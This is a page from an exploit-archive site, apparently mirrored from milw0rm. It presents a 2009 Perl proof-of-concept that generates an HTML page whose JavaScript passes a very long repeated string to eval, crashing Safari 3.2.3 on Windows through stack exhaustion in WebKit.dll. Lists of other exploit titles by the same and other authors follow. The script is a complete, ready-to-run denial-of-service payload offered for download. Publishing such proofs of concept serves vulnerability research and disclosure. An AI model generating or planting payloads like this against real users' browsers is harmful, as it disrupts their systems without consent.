Menu

Search for hundreds of thousands of exploits

"Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service"

Author

Exploit author

"Jeremy Brown"

Platform

Exploit platform

windows_x86

Release date

Exploit published date

2009-09-09

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/perl
# letsgosurfinnowonsafari.pl
# AKA
# Safari 3.2.3 (Win32) JavaScript 'eval' Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# Safari crashes when interpreting a webpage that calls the "eval" JavaScript function with "A/" repeating
# 21526 times (43052 bytes). When triggering this vulnerability, Safari will throw a "Stack Overflow"
# exception, and then an access violation when adjusting the trigger to "A/" repeating 21697 times
# (43394 bytes). The problem originates in the module "WebKit.dll". Safari uses this module as part of the
# WebKit layout engine (www.webkit.org).

# This issue was reported to Apple several months ago and it looks like they fixed it in Safari 4
# (4.1.2 tested) after recent testing. It has also been lying around the Fun Archive @ krakowlabs.com for
# quite a while too. Btw, STACK_OVERFLOW does NOT mean there is a buffer overflow on the stack. It pretty
# much means that the stack for the process has been exhausted and its maximum size has been reached.
# *********************************************************************************************************
# letsgosurfinnowonsafari.pl

$fn   = 'letsgosurfinnowwithsafari.html';
$size = 21526; # "Stack Overflow" WebKit.dll
#$size = 21697; # "Access Violation" WebKit.dll

$payload = '<html><script type="text/javascript">' . "\n";
$payload = $payload . 'eval("' . "A/" x $size . '");' . "\n";
$payload = $payload . '</script></html>';

     open(FD, '>' . $fn);
     print FD $payload;
     close(FD);

# milw0rm.com [2009-09-09]
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-11-19 "Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free" remote windows_x86 0xeb-bp
2019-07-19 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow (EggHunter)" remote windows_x86 sasaga92
2019-05-08 "Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)" remote windows_x86 Metasploit
2019-01-02 "Ayukov NFTP FTP Client 2.0 - Buffer Overflow" local windows_x86 "Uday Mittal"
2018-12-27 "ShareAlarmPro 2.1.4 - Denial of Service (PoC)" dos windows_x86 T3jv1l
2018-12-27 "MAGIX Music Editor 3.1 - Buffer Overflow (SEH)" local windows_x86 bzyo
2018-12-27 "Iperius Backup 5.8.1 - Buffer Overflow (SEH)" local windows_x86 bzyo
2018-12-27 "NetShareWatcher 1.5.8 - Denial of Service (PoC)" dos windows_x86 T3jv1l
2018-12-27 "Product Key Explorer 4.0.9 - Denial of Service (PoC)" dos windows_x86 T3jv1l
2018-12-27 "Terminal Services Manager 3.1 - Local Buffer Overflow (SEH)" local windows_x86 bzyo
Release Date Title Type Platform Author
2019-10-15 "Podman & Varlink 1.5.1 - Remote Code Execution" remote linux "Jeremy Brown"
2019-10-14 "Ajenti 2.1.31 - Remote Code Execution" webapps python "Jeremy Brown"
2016-12-06 "Windows 10 (x86/x64) WLAN AutoConfig - Denial of Service (PoC)" dos windows "Jeremy Brown"
2016-12-04 "BlackStratus LOGStorm 4.5.1.35/4.5.1.96 - Remote Code Execution" remote hardware "Jeremy Brown"
2015-06-10 "Libmimedir - '.VCF' Memory Corruption (PoC)" dos linux "Jeremy Brown"
2015-06-03 "Seagate Central 2014.0410.0026-F - Remote Facebook Access Token" webapps hardware "Jeremy Brown"
2015-06-03 "Seagate Central 2014.0410.0026-F - Remote Command Execution" remote hardware "Jeremy Brown"
2015-05-20 "Comodo GeekBuddy < 4.18.121 - Local Privilege Escalation" local windows "Jeremy Brown"
2015-01-28 "ClearSCADA - Remote Authentication Bypass" remote windows "Jeremy Brown"
2011-06-07 "IBM Tivoli Endpoint 4.1.1 - Remote SYSTEM" remote windows "Jeremy Brown"
2011-03-23 "IGSS 8 ODBC Server - Multiple Remote Uninitialized Pointer Free Denial of Service Vulnerabilities" dos windows "Jeremy Brown"
2011-03-23 "Progea Movicon 11 - 'TCPUploadServer' Remote File System" remote windows "Jeremy Brown"
2011-01-25 "Automated Solutions Modbus/TCP OPC Server - Remote Heap Corruption (PoC)" dos windows "Jeremy Brown"
2011-01-14 "Objectivity/DB - Lack of Authentication" dos windows "Jeremy Brown"
2010-12-18 "Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC)" dos windows "Jeremy Brown"
2010-09-16 "BACnet OPC Client - Local Buffer Overflow (1)" local windows "Jeremy Brown"
2009-12-12 "Mozilla Codesighs - Memory Corruption" local linux "Jeremy Brown"
2009-12-07 "Polipo 1.0.4 - Remote Memory Corruption (PoC)" dos linux "Jeremy Brown"
2009-12-07 "gAlan 0.2.1 - Local Buffer Overflow (1)" local windows "Jeremy Brown"
2009-11-16 "Apple Safari 4.0.3 (Windows x86) - 'CSS' Remote Denial of Service (1)" dos windows_x86 "Jeremy Brown"
2009-10-28 "Mozilla Firefox 3.5.3 - Local Download Manager Temp File Creation" local windows "Jeremy Brown"
2009-10-06 "Geany .18 - Local File Overwrite" local linux "Jeremy Brown"
2009-09-24 "Sun Solaris 10 RPC dmispd - Denial of Service" dos solaris "Jeremy Brown"
2009-09-09 "GemStone/S 6.3.1 - 'stoned' Local Buffer Overflow" local linux "Jeremy Brown"
2009-09-09 "Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)" dos windows "Jeremy Brown"
2009-09-09 "Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service" dos windows_x86 "Jeremy Brown"
2009-07-21 "Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation" local windows "Jeremy Brown"
2009-05-07 "GrabIt 1.7.2x - NZB DTD Reference Buffer Overflow" local windows "Jeremy Brown"
2009-03-12 "POP Peeper 3.4.0.0 - Date Remote Buffer Overflow" remote windows "Jeremy Brown"
2009-02-27 "POP Peeper 3.4.0.0 - UIDL Remote Buffer Overflow (SEH)" remote windows "Jeremy Brown" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected